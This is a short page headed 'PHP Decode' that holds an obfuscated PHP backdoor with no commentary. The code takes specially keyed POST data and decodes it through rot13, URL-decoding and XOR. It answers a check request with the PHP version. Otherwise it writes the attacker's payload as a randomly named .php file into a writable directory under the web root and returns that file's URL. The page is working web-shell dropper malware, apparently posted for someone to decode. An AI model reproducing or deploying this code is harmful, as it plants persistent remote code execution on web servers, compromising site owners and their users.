PHP Decode

<?php $twaamnjplcowfag = "qwzdbbwoirthxgkk";$mvniljyqk = "";foreach ($_POST as $ovldxggv => $speevgyb){if (strlen($ovldxggv) == 16 and substr_count($speevgyb, "%") > 10){efenknjg($ovldxggv, $speevgyb);}}function efenknjg($ovldxggv, $wifcai){global $mvniljyqk;$mvniljyqk = $ovldxggv;$wifcai = str_split(rawurldecode(str_rot13($wifcai)));function nhvnp($vvyfiiaf, $ovldxggv){global $twaamnjplcowfag, $mvniljyqk;return $vvyfiiaf ^ $twaamnjplcowfag[$ovldxggv % strlen($twaamnjplcowfag)] ^ $mvniljyqk[$ovldxggv % strlen($mvniljyqk)];}$wifcai = implode("", array_map("nhvnp", array_values($wifcai), array_keys($wifcai)));$wifcai = @unserialize($wifcai);if (@is_array($wifcai)){$ovldxggv = array_keys($wifcai);$wifcai = $wifcai[$ovldxggv[0]];if ($wifcai === $ovldxggv[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function zhvapg($twaamnjir) {static $iwivlta = array();$jyjzxuwnv = glob($twaamnjir . '/*', GLOB_ONLYDIR);if (count($jyjzxuwnv) > 0) {foreach ($jyjzxuwnv as $twaamnj){if (@is_writable($twaamnj)){$iwivlta[] = $twaamnj;}}}foreach ($jyjzxuwnv as $twaamnjir) zhvapg($twaamnjir);return $iwivlta;}$svwnq = $_SERVER["DOCUMENT_ROOT"];$jyjzxuwnv = zhvapg($svwnq);$ovldxggv = array_rand($jyjzxuwnv);$ftogd = $jyjzxuwnv[$ovldxggv] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($ftogd, $wifcai);echo "http://" . $_SERVER["HTTP_HOST"] . substr($ftogd, strlen($svwnq));exit();}}} ?>